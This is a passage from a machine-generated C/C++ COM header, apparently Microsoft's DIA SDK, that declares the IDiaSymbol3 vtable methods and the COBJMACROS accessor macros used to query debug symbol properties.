STDMETHODCALLTYPE *get_baseDataOffset )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( \n            IDiaSymbol3 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( \n            IDiaSymbol3 * This,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( \n            IDiaSymbol3 * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( \n            IDiaSymbol3 * This,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( \n            IDiaSymbol3 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( \n            IDiaSymbol3 * This,\n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( \n            IDiaSymbol3 * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( \n            IDiaSymbol3 * This,\n            /* [in] */ DWORD tagValue,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( \n            IDiaSymbol3 * This,\n            /* [in] */ DWORD tagValue,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( \n            IDiaSymbol3 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pPointerTags);\n        \n        HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( \n            IDiaSymbol3 * This,\n            /* [out] */ IDiaLineNumber **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( \n            IDiaSymbol3 * This,\n            /* [out] */ IDiaInputAssemblyFile **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        END_INTERFACE\n    } IDiaSymbol3Vtbl;\n\n    interface IDiaSymbol3\n    {\n        CONST_VTBL struct IDiaSymbol3Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaSymbol3_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaSymbol3_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaSymbol3_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaSymbol3_get_symIndexId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_symTag(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) \n\n#define IDiaSymbol3_get_name(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_name(This,pRetVal) ) \n\n#define IDiaSymbol3_get_lexicalParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) \n\n#define IDiaSymbol3_get_classParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) \n\n#define IDiaSymbol3_get_type(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_type(This,pRetVal) ) \n\n#define IDiaSymbol3_get_dataKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) \n\n#define IDiaSymbol3_get_locationType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) \n\n#define IDiaSymbol3_get_addressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) \n\n#define IDiaSymbol3_get_addressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) \n\n#define IDiaSymbol3_get_relativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol3_get_virtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol3_get_registerId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_offset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offset(This,pRetVal) ) \n\n#define IDiaSymbol3_get_length(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_length(This,pRetVal) ) \n\n#define IDiaSymbol3_get_slot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_slot(This,pRetVal) ) \n\n#define IDiaSymbol3_get_volatileType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) \n\n#define IDiaSymbol3_get_constType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constType(This,pRetVal) ) \n\n#define IDiaSymbol3_get_unalignedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) \n\n#define IDiaSymbol3_get_access(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_access(This,pRetVal) ) \n\n#define IDiaSymbol3_get_libraryName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) \n\n#define IDiaSymbol3_get_platform(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_platform(This,pRetVal) ) \n\n#define IDiaSymbol3_get_language(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_language(This,pRetVal) ) \n\n#define IDiaSymbol3_get_editAndContinueEnabled(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) \n\n#define IDiaSymbol3_get_frontEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol3_get_frontEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol3_get_frontEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol3_get_backEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol3_get_backEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol3_get_backEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol3_get_sourceFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) \n\n#define IDiaSymbol3_get_unused(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unused(This,pRetVal) ) \n\n#define IDiaSymbol3_get_thunkOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol3_get_thisAdjust(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) \n\n#define IDiaSymbol3_get_virtualBaseOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) \n\n#define IDiaSymbol3_get_virtual(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) \n\n#define IDiaSymbol3_get_intro(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intro(This,pRetVal) ) \n\n#define IDiaSymbol3_get_pure(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_pure(This,pRetVal) ) \n\n#define IDiaSymbol3_get_callingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) \n\n#define IDiaSymbol3_get_value(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_value(This,pRetVal) ) \n\n#define IDiaSymbol3_get_baseType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) \n\n#define IDiaSymbol3_get_token(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_token(This,pRetVal) ) \n\n#define IDiaSymbol3_get_timeStamp(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) \n\n#define IDiaSymbol3_get_guid(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_guid(This,pRetVal) ) \n\n#define IDiaSymbol3_get_symbolsFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) \n\n#define IDiaSymbol3_get_reference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_reference(This,pRetVal) ) \n\n#define IDiaSymbol3_get_count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_count(This,pRetVal) ) \n\n#define IDiaSymbol3_get_bitPosition(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) \n\n#define IDiaSymbol3_get_arrayIndexType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) \n\n#define IDiaSymbol3_get_packed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_packed(This,pRetVal) ) \n\n#define IDiaSymbol3_get_constructor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) \n\n#define IDiaSymbol3_get_overloadedOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) \n\n#define IDiaSymbol3_get_nested(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_nested(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hasNestedTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hasAssignmentOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) \n\n#define IDiaSymbol3_get_hasCastOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) \n\n#define IDiaSymbol3_get_scoped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) \n\n#define IDiaSymbol3_get_virtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol3_get_indirectVirtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol3_get_virtualBasePointerOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) \n\n#define IDiaSymbol3_get_virtualTableShape(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) \n\n#define IDiaSymbol3_get_lexicalParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_classParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_typeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_arrayIndexTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_virtualTableShapeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_code(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_code(This,pRetVal) ) \n\n#define IDiaSymbol3_get_function(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_function(This,pRetVal) ) \n\n#define IDiaSymbol3_get_managed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_managed(This,pRetVal) ) \n\n#define IDiaSymbol3_get_msil(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_msil(This,pRetVal) ) \n\n#define IDiaSymbol3_get_virtualBaseDispIndex(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) \n\n#define IDiaSymbol3_get_undecoratedName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) \n\n#define IDiaSymbol3_get_age(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_age(This,pRetVal) ) \n\n#define IDiaSymbol3_get_signature(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_signature(This,pRetVal) ) \n\n#define IDiaSymbol3_get_compilerGenerated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) \n\n#define IDiaSymbol3_get_addressTaken(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) \n\n#define IDiaSymbol3_get_rank(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_rank(This,pRetVal) ) \n\n#define IDiaSymbol3_get_lowerBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) \n\n#define IDiaSymbol3_get_upperBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) \n\n#define IDiaSymbol3_get_lowerBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_upperBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_dataBytes(This,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) \n\n#define IDiaSymbol3_findChildren(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol3_findChildrenEx(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol3_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) \n\n#define IDiaSymbol3_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) \n\n#define IDiaSymbol3_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) \n\n#define IDiaSymbol3_get_targetSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) \n\n#define IDiaSymbol3_get_targetOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) \n\n#define IDiaSymbol3_get_targetRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol3_get_targetVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol3_get_machineType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) \n\n#define IDiaSymbol3_get_oemId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_oemSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol3_get_types(This,cTypes,pcTypes,pTypes)\t\\\n    ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) \n\n#define IDiaSymbol3_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds)\t\\\n    ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) \n\n#define IDiaSymbol3_get_objectPointerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) \n\n#define IDiaSymbol3_get_udtKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) \n\n#define IDiaSymbol3_get_undecoratedNameEx(This,undecorateOptions,name)\t\\\n    ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) \n\n#define IDiaSymbol3_get_noReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) \n\n#define IDiaSymbol3_get_customCallingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) \n\n#define IDiaSymbol3_get_noInline(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) \n\n#define IDiaSymbol3_get_optimizedCodeDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> 